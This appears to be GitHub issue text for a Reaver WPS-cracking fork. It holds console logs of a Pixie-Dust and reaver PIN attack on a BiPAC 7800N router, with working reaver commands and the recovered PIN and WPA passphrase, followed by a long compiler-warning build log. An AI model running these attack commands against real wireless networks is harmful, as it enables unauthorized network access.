[P] PKE: 55:50:40:f2:9e:7f:9a:e1:d9:b3:c7:f9:c5:bc:21:06:d7:cc:04:3c:a2:38:f5:14:5b:3b:e8:59:4d:9b:f9:36:38:45:ff:d0:95:77:bd:94:c3:db:c3:81:e4:b9:47:9c:6f:12:77:0a:32:05:ee:68:e6:8f:70:da:e3:36:5d:13:69:6c:cd:bf:15:5f:23:96:2e:ea:f9:91:c7:8b:b9:2c:34:6b:18:da:18:d0:10:70:81:ef:e0:e4:26:41:ad:52:52:7b:de:43:74:14:ca:2f:c9:9c:e8:9f:bd:49:c5:0f:f9:dc:7e:11:29:0d:64:49:31:5a:3f:73:78:f6:7b:c5:07:de:b3:fd:68:74:25:77:dd:f7:bc:e7:e1:55:3d:33:a6:05:84:4a:de:79:1c:b8:58:50:f0:58:16:6f:85:fb:22:1c:4f:ae:ae:0b:fe:c3:9b:0a:2c:09:81:68:43:ed:3d:b7:6a:6d:47:02:45:52:2d:7f:dd:04:e4:95:d7:27
[P] WPS Manufacturer: http://www.billion.com.au
[P] WPS Model Name: BiPAC 7800N
[P] WPS Model Number: 1.0
[P] Access Point Serial Number: 12345678
[+] Received M1 message
[P] R-Nonce: f0:da:6e:ef:c7:26:64:6e:0e:ab:e5:c3:24:a1:62:c6
[P] PKR: 34:df:c4:58:55:2c:a1:08:18:6f:de:f6:04:a0:e1:18:2a:92:16:01:17:36:28:ae:99:54:4e:84:1c:18:25:b5:19:fd:ef:5d:1d:98:ab:66:c7:5b:14:7f:fd:11:3a:eb:b6:b8:a5:51:de:50:66:25:25:c9:85:02:9d:de:71:60:ee:74:53:d2:cf:27:97:66:0c:f9:d1:d8:cc:5a:4b:a4:af:6f:40:fb:9a:95:26:de:97:db:a9:73:b1:09:0e:ec:16:60:4b:5b:e4:7c:aa:6c:ac:4c:c8:41:b7:e2:f7:bf:87:73:46:de:cc:21:00:8b:a4:a6:bc:07:67:57:71:0a:e0:08:41:ef:27:e8:71:6e:d2:59:2c:5c:ba:cc:40:f2:98:72:92:e8:dc:45:29:b3:90:1e:dd:f3:e4:38:66:56:b1:f4:51:ea:1e:90:3b:58:f8:d4:03:c6:b2:e3:d8:58:58:1b:a3:b7:74:78:0a:6d:8f:d4:fd:59:49:1d:e7:fd
[P] AuthKey: 58:51:65:6b:b8:75:ea:3c:19:fe:6f:24:05:7b:5f:21:c0:68:ec:0f:99:49:98:e5:bf:c0:4d:3e:46:ba:bb:25
[+] Sending M2 message
[P] E-Hash1: 22:10:32:25:c1:ff:ca:16:de:c0:5c:14:c5:0b:55:d6:d7:c1:95:fc:cf:1b:dc:70:74:27:56:b1:ec:a1:2b:01
[P] E-Hash2: 6b:3c:ae:51:ff:58:f5:8a:bc:86:27:fa:90:40:7e:19:00:19:e3:48:b9:f7:b1:d1:b9:01:41:ae:11:db:85:37
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 48606684
[Pixie-Dust]
[Pixie-Dust] [] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i mon0 -b xx:xx:xx:xx:xx:xx -c 1 -s y -vv -p 48606 (only passing half of pin)
[Reaver Test] BSSID: xx:xx:xx:xx:xx:xx
[Reaver Test] Channel: 1\
Then locks router as too many pin tries
manual pin entry (working fine)
reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 1 -s y -vv -p 48606684
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212
[+] Switching mon0 to channel 1
[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: XXXXXXX)
[+] Starting Cracking Session. Pin count: 10000, Max pin attempts: 11000
[+] Trying pin 48606684.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 40:72:55:69:28:f8:c0:f2:1b:ce:16:ef:34:b9:da:4b
[P] PKE: 8d:a9:18:ec:2c:2b:71:57:fd:75:d1:e8:89:92:09:d4:d5:5f:45:84:61:6c:de:09:9b:8e:66:7b:ae:f9:d4:14:61:b9:6a:da:18:9f:b2:d7:49:e8:97:8b:a5:d6:0f:a6:13:b9:39:f3:09:8a:23:82:8d:51:81:7a:71:37:57:f8:b9:0b:48:bc:a1:0e:87:7a:b2:2f:07:58:f1:ad:cc:d0:11:65:b7:ab:a8:ae:21:21:aa:81:c9:9b:70:84:cd:95:6a:40:fe:04:94:15:82:aa:6d:ca:3c:86:76:bc:03:53:b3:77:04:26:a3:1b:3c:6c:9d:16:32:c2:60:31:eb:8c:82:a7:74:66:95:6c:58:e0:b3:b2:dd:a0:70:f7:ae:8e:62:17:f8:a7:64:b5:fd:f4:ba:0d:f8:c0:18:42:7e:5a:78:95:93:d7:1a:e7:79:97:6f:47:99:38:87:8f:79:6e:f9:e3:f1:4e:ba:5a:ec:32:25:ee:c7:a7:6a:71:75:56
[P] WPS Manufacturer: http://www.billion.com.au
[P] WPS Model Name: BiPAC 7800N
[P] WPS Model Number: 1.0
[P] Access Point Serial Number: 12345678
[+] Received M1 message
[P] R-Nonce: 49:ec:d8:d4:c8:3d:45:f1:19:5f:17:72:1c:2b:c2:62
[P] PKR: 9c:e8:5d:0f:72:24:c7:56:37:b7:af:75:6f:48:d2:eb:71:fc:54:1f:bd:43:9d:de:89:69:3f:63:43:ec:52:aa:75:0a:e5:21:d5:df:94:c0:15:54:6f:a9:d0:f6:ee:c7:ef:d4:70:0f:f4:cd:c3:42:b6:62:df:b9:84:88:64:8c:24:80:21:fc:08:f0:f9:ac:6e:ff:aa:36:9c:d4:92:55:55:8b:4a:e8:9f:d1:75:4f:6d:19:8f:e3:54:8f:f8:9c:89:5a:b4:53:12:de:65:f9:d9:bf:7b:2e:d5:2f:15:17:31:d1:9b:12:bc:a6:eb:4a:e6:8e:ed:eb:f9:da:d2:23:a5:93:38:1c:68:e4:61:cd:a1:e8:84:9e:ed:3f:1d:44:95:1e:94:1e:66:c6:5b:e2:2a:81:3b:80:ef:f4:78:05:2c:63:94:e2:1c:c4:d8:26:d7:1a:b3:9f:88:5e:e8:f7:91:14:d7:a8:c8:24:d0:eb:29:7f:d1:5f:20:99:13:63
[P] AuthKey: 76:65:b9:d7:f4:f7:15:67:f5:1a:17:77:98:3e:ac:a9:89:c1:cc:4a:20:4d:15:f9:70:6a:bf:7d:7a:30:90:6b
[+] Sending M2 message
[P] E-Hash1: 40:75:43:72:55:ed:d0:71:a6:69:ac:c0:27:f8:5a:56:f0:47:5e:27:3e:3e:bc:19:6a:54:d6:76:35:df:4c:d3
[P] E-Hash2: aa:3a:b3:0e:5f:fe:e8:fe:93:81:0c:2d:58:a2:49:28:8b:90:9e:96:f3:ad:6e:61:be:9a:fe:7b:eb:f2:df:6b
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 22 seconds
[+] WPS PIN: '48606684'
[+] WPA PSK: 'wpsflawed.'
[+] AP SSID: 'XXXXXXXX'
[+] Nothing done, nothing to save.
Compile warnings
Here is the log, on Fedora 22 :
$ ./configure
--
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for pcap_open_live in -lpcap... yes
checking for sqlite3_open in -lsqlite3... yes
checking how to run the C preprocessor... gcc -E
checking for grep that handles long lines and -e... /usr/bin/grep
checking for egrep... /usr/bin/grep -E
checking for ANSI C header files... yes
checking for sys/types.h... yes
checking for sys/stat.h... yes
checking for stdlib.h... yes
checking for string.h... yes
checking for memory.h... yes
checking for strings.h... yes
checking for inttypes.h... yes
checking for stdint.h... yes
checking for unistd.h... yes
checking for stdlib.h... (cached) yes
checking for stdint.h... (cached) yes
checking for string.h... (cached) yes
checking pcap.h usability... yes
checking pcap.h presence... yes
checking for pcap.h... yes
checking sqlite3.h usability... yes
checking sqlite3.h presence... yes
checking for sqlite3.h... yes
configure: creating ./config.status
config.status: creating Makefile
$ make -j 12
--
(cd utils && make)
(cd tls && make)
(cd lwe && make BUILD_STATIC=y libiw.a)
(cd libwps && make)
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 globule.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 init.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps sql.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 crc.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 keys.c -c
make[1]: Entering directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/lwe'
make[1]: Entering directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/utils'
make[1]: Entering directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/libwps'
gcc -Wall libwps.c -c
make[1]: Entering directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/tls'
cp wireless.21.h wireless.h
gcc -Os -W -Wall -Wstrict-prototypes -Wmissing-prototypes -Wshadow -Wpointer-arith -Wcast-qual -Winline -I. -MMD -fPIC -c -o iwlib.so iwlib.c
libwps.c: In function ‘parse_wps_parameters’:
libwps.c:29:12: warning: variable ‘data_len’ set but not used [-Wunused-but-set-variable]
size_t data_len = 0, offset = 0;
^
common.c: In function ‘pingen_zhaochunsheng’:
common.c:597:14: warning: passing argument 1 of ‘snprintf’ makes pointer from integer without a cast [-Wint-conversion]
snprintf(pin, pin_len, "%08d", (default_pin * 10) + wps_checksum(default_pin));
^
In file included from includes.h:26:0,
from common.c:15:
/usr/include/stdio.h:386:12: note: expected ‘char * restrict’ but argument is of type ‘int’
extern int snprintf (char *__restrict __s, size_t __maxlen,
^
common.c: In function ‘pingen_zyxel’:
common.c:614:25: warning: implicit declaration of function ‘wps_pin_checksum’ [-Wimplicit-function-declaration]
return (pin * 10) + wps_pin_checksum(pin);
^
globule.c: In function ‘set_p1_index’:
globule.c:110:9: warning: implicit declaration of function ‘cprintf’ [-Wimplicit-function-declaration]
cprintf(VERBOSE,"[+] p1_index set to %i\n",index);
^
In file included from bignum.c:21:0:
libtommath.c: In function ‘mp_exptmod’:
libtommath.c:580:9: warning: variable ‘dr’ set but not used [-Wunused-but-set-variable]
int dr;
^
make[1]: Leaving directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/libwps'
CC radiotap.c
CC ip_addr.c
CC asn1.c
CC base64.c
In file included from iwlib.c:14:0:
iwlib.c: In function ‘print_iface_version_info’:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:387:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:396:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWRANGE, &wrq) < 0)
^
CC trace.c
CC common.c
In file included from iwlib.c:14:0:
iwlib.c: In function ‘iw_get_range_info’:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:483:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWRANGE, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.c: In function ‘iw_get_priv_info’:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:623:12: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWPRIV, &wrq) >= 0)
^
CC uuid.c
In file included from iwlib.c:14:0:
iwlib.c: In function ‘iw_set_basic_config’:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:748:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:761:12: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCSIWMODE, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:506:9: warning: inlining failed in call to ‘iw_set_ext’: call is unlikely and code size would grow [-Winline]
iw_set_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:773:12: warning: called from here [-Winline]
if(iw_set_ext(skfd, ifname, SIOCSIWFREQ, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:506:9: warning: inlining failed in call to ‘iw_set_ext’: call is unlikely and code size would grow [-Winline]
iw_set_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:793:16: warning: called from here [-Winline]
if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:506:9: warning: inlining failed in call to ‘iw_set_ext’: call is unlikely and code size would grow [-Winline]
iw_set_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:813:12: warning: called from here [-Winline]
if(iw_set_ext(skfd, ifname, SIOCSIWENCODE, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:506:9: warning: inlining failed in call to ‘iw_set_ext’: call is unlikely and code size would grow [-Winline]
iw_set_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:827:12: warning: called from here [-Winline]
if(iw_set_ext(skfd, ifname, SIOCSIWNWID, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:506:9: warning: inlining failed in call to ‘iw_set_ext’: call is unlikely and code size would grow [-Winline]
iw_set_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:850:12: warning: called from here [-Winline]
if(iw_set_ext(skfd, ifname, SIOCSIWESSID, &wrq) < 0)
^
CC pkcs1.c
In file included from iwlib.c:14:0:
iwlib.c: In function ‘iw_get_basic_config’:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:673:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWNAME, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:683:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWNWID, &wrq) >= 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:690:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWFREQ, &wrq) >= 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:701:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWENCODE, &wrq) >= 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:712:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWESSID, &wrq) >= 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:719:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWMODE, &wrq) >= 0)
^
CC wpa_debug.c
CC wpabuf.c
In file included from iwlib.c:14:0:
iwlib.c: In function ‘iw_get_stats’:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:1276:12: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWSTATS, &wrq) < 0)
^
CC pkcs5.c
CC os_unix.c
CC pkcs8.c
tlsv1_server_read.c: In function ‘tls_process_client_key_exchange_rsa’:
tlsv1_server_read.c:474:9: warning: variable ‘encr_len’ set but not used [-Wunused-but-set-variable]
u16 encr_len;
^
CC rsa.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps argsparser.c -c
In file included from iwlib.c:14:0:
iwlib.c: In function ‘iw_process_scan’:
iwlib.h:506:9: warning: inlining failed in call to ‘iw_set_ext’: call is unlikely and code size would grow [-Winline]
iw_set_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:3058:13: warning: called from here [-Winline]
if((iw_set_ext(skfd, ifname, SIOCSIWSCAN, &wrq) < 0)
^
In file included from iwlib.c:14:0:
iwlib.h:522:9: warning: inlining failed in call to ‘iw_get_ext’: call is unlikely and code size would grow [-Winline]
iw_get_ext(int skfd, /* Socket to the kernel */
^
iwlib.c:3082:8: warning: called from here [-Winline]
if(iw_get_ext(skfd, ifname, SIOCGIWSCAN, &wrq) < 0)
^
CC tlsv1_common.c
CC tlsv1_record.c
CC eloop.c
ar crT libutils.a base64.o common.o ip_addr.o radiotap.o trace.o uuid.o wpa_debug.o wpabuf.o os_unix.o eloop.o
CC tlsv1_cred.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 misc.c -c
CC tlsv1_client.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 builder.c -c
rm -f libiw.a
make[1]: Leaving directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/utils'
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 iface.c -c
CC tlsv1_server.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps sigint.c -c
ar cru libiw.a iwlib.so
ar: `u' modifier ignored since `D' is the default (see `U')
CC tlsv1_client_read.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 sigalrm.c -c
ranlib libiw.a
make[1]: Leaving directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/lwe'
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 pins.c -c
CC bignum.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps session.c -c
CC tlsv1_client_write.c
argsparser.c: In function ‘process_arguments’:
argsparser.c:97:17: warning: implicit declaration of function ‘set_op_gen_pin’ [-Wimplicit-function-declaration]
set_op_gen_pin(atoi(optarg));
^
CC tlsv1_server_read.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps 80211.c -c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 send.c -c
CC tlsv1_server_write.c
80211.c: In function ‘read_ap_beacon’:
80211.c:90:12: warning: variable ‘tag_offset’ set but not used [-Wunused-but-set-variable]
size_t tag_offset = 0;
^
CC x509v3.c
ar crT libtls.a asn1.o bignum.o pkcs1.o pkcs5.o pkcs8.o rsa.o tlsv1_client.o tlsv1_client_read.o tlsv1_client_write.o tlsv1_common.o tlsv1_cred.o tlsv1_record.o tlsv1_server.o tlsv1_server_read.o tlsv1_server_write.o x509v3.o
make[1]: Leaving directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/tls'
(cd crypto && make)
make[1]: Entering directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/crypto'
CC aes-encblock.c
CC aes-ctr.c
CC aes-unwrap.c
CC aes-eax.c
CC aes-wrap.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps exchange.c -c
CC aes-omac1.c
CC aes-cbc.c
CC aes-internal-dec.c
CC aes-internal.c
CC aes-internal-enc.c
CC des-internal.c
In file included from ../utils/common.h:18:0,
from md5-internal.c:17:
md5-internal.c: In function ‘MD5Final’:
md5-internal.c:191:29: warning: argument to ‘sizeof’ in ‘memset’ call is the same expression as the destination; did you mean to dereference it? [-Wsizeof-pointer-memaccess]
os_memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */
^
../utils/os.h:413:41: note: in definition of macro ‘os_memset’
#define os_memset(s, c, n) memset(s, c, n)
^
CC dh_group5.c
CC md5-non-fips.c
CC rc4.c
CC md5.c
CC dh_groups.c
CC sha1.c
CC md4-internal.c
CC ms_funcs.c
CC md5-internal.c
CC sha1-pbkdf2.c
CC milenage.c
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps cracker.c -c
CC sha1-tprf.c
CC sha1-tlsprf.c
CC sha256.c
CC sha256-internal.c
CC crypto_internal-rsa.c
CC crypto_internal-modexp.c
CC fips_prf_internal.c
CC sha1-internal.c
CC crypto_internal-cipher.c
CC crypto_internal.c
CC tls_internal.c
ar crT libcrypto.a aes-cbc.o aes-ctr.o aes-eax.o aes-encblock.o aes-internal.o aes-internal-dec.o aes-internal-enc.o aes-omac1.o aes-unwrap.o aes-wrap.o des-internal.o dh_group5.o dh_groups.o md4-internal.o md5.o md5-internal.o md5-non-fips.o milenage.o ms_funcs.o rc4.o sha1.o sha1-internal.o sha1-pbkdf2.o sha1-tlsprf.o sha1-tprf.o sha256.o sha256-internal.o crypto_internal.o crypto_internal-cipher.o crypto_internal-modexp.o crypto_internal-rsa.o tls_internal.o fips_prf_internal.o
make[1]: Leaving directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/crypto'
(cd wps && make)
make[1]: Entering directory '/mnt/004A0B094A0AFAE4/reaver-wps-fork-t6x/src/wps'
cc -I../utils -I ../ wps_attr_build.c -c
cc -I../utils -I ../ wps_attr_parse.c -c
cc -I../utils -I ../ wps_attr_process.c -c
cc -I../utils -I ../ wps.c -c
cc -I../utils -I ../ wps_common.c -c
cc -I../utils -I ../ wps_dev_attr.c -c
cc -I../utils -I ../ wps_enrollee.c -c
cc -I../utils -I ../ wps_registrar.c -c
cc -I../utils -I ../ wps_ufd.c -c
wps_dev_attr.c: In function ‘wps_process_manufacturer’:
wps_dev_attr.c:200:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
printf("%c", (char *) str[pixiecnt]);
^
wps_dev_attr.c: In function ‘wps_process_model_name’:
wps_dev_attr.c:241:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
printf("%c", (char *) str[pixiecnt]);
^
wps_dev_attr.c: In function ‘wps_process_model_number’:
wps_dev_attr.c:280:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
printf("%c", (char *) str[pixiecnt]);
^
wps_dev_attr.c: In function ‘wps_process_serial_number’:
wps_dev_attr.c:319:26: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast]
printf("%c", (char *) str[pixiecnt]);
^
wps_dev_attr.c:344:59: warning: implicit declaration of function ‘mac2str’ [-Wimplicit-function-declaration]
printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0));
^
wps_dev_attr.c:344:59: warning: passing argument 1 of ‘pingen_belkin’ makes pointer from integer without a cast [-Wint-conversion]
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘int’
int pingen_belkin(char *mac, char *serial, int len_serial, int add);
^
wps_dev_attr.c:344:86: warning: passing argument 2 of ‘pingen_belkin’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
printf("[Pin Gen] Pin Generated : %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 0));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘const u8 * {aka const unsigned char *}’
int pingen_belkin(char *mac, char *serial, int len_serial, int add);
^
wps_dev_attr.c:345:63: warning: passing argument 1 of ‘pingen_belkin’ makes pointer from integer without a cast [-Wint-conversion]
printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘int’
int pingen_belkin(char *mac, char *serial, int len_serial, int add);
^
wps_dev_attr.c:345:90: warning: passing argument 2 of ‘pingen_belkin’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, 1));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘const u8 * {aka const unsigned char *}’
int pingen_belkin(char *mac, char *serial, int len_serial, int add);
^
wps_dev_attr.c:346:65: warning: passing argument 1 of ‘pingen_belkin’ makes pointer from integer without a cast [-Wint-conversion]
printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘int’
int pingen_belkin(char *mac, char *serial, int len_serial, int add);
^
wps_dev_attr.c:346:92: warning: passing argument 2 of ‘pingen_belkin’ discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_belkin(mac2str(get_bssid(),'\0'), str, str_len, -1));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:447:5: note: expected ‘char *’ but argument is of type ‘const u8 * {aka const unsigned char *}’
int pingen_belkin(char *mac, char *serial, int len_serial, int add);
^
wps_dev_attr.c:355:58: warning: passing argument 1 of ‘pingen_dlink’ makes pointer from integer without a cast [-Wint-conversion]
printf("[Pin Gen] Pin Generated : %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), 0));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:448:5: note: expected ‘char *’ but argument is of type ‘int’
int pingen_dlink(char *mac, int add);
^
wps_dev_attr.c:356:62: warning: passing argument 1 of ‘pingen_dlink’ makes pointer from integer without a cast [-Wint-conversion]
printf("[Pin Gen] Pin Generated (+1): %08d\n",pingen_dlink(mac2str(get_bssid(),'\0'), 1));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:448:5: note: expected ‘char *’ but argument is of type ‘int’
int pingen_dlink(char *mac, int add);
^
wps_dev_attr.c:357:64: warning: passing argument 1 of ‘pingen_dlink’ makes pointer from integer without a cast [-Wint-conversion]
printf("[Pin Gen] Pin Generated (-1): %08d\n\n",pingen_dlink(mac2str(get_bssid(),'\0'), -1));
^
In file included from ../wps.h:40:0,
from ../defs.h:45,
from ../globule.h:37,
from wps_dev_attr.c:15:
../utils/common.h:448:5: note: expected ‘char *’ but argument is of type ‘int’
int pingen_dlink(char *mac, int add);
^
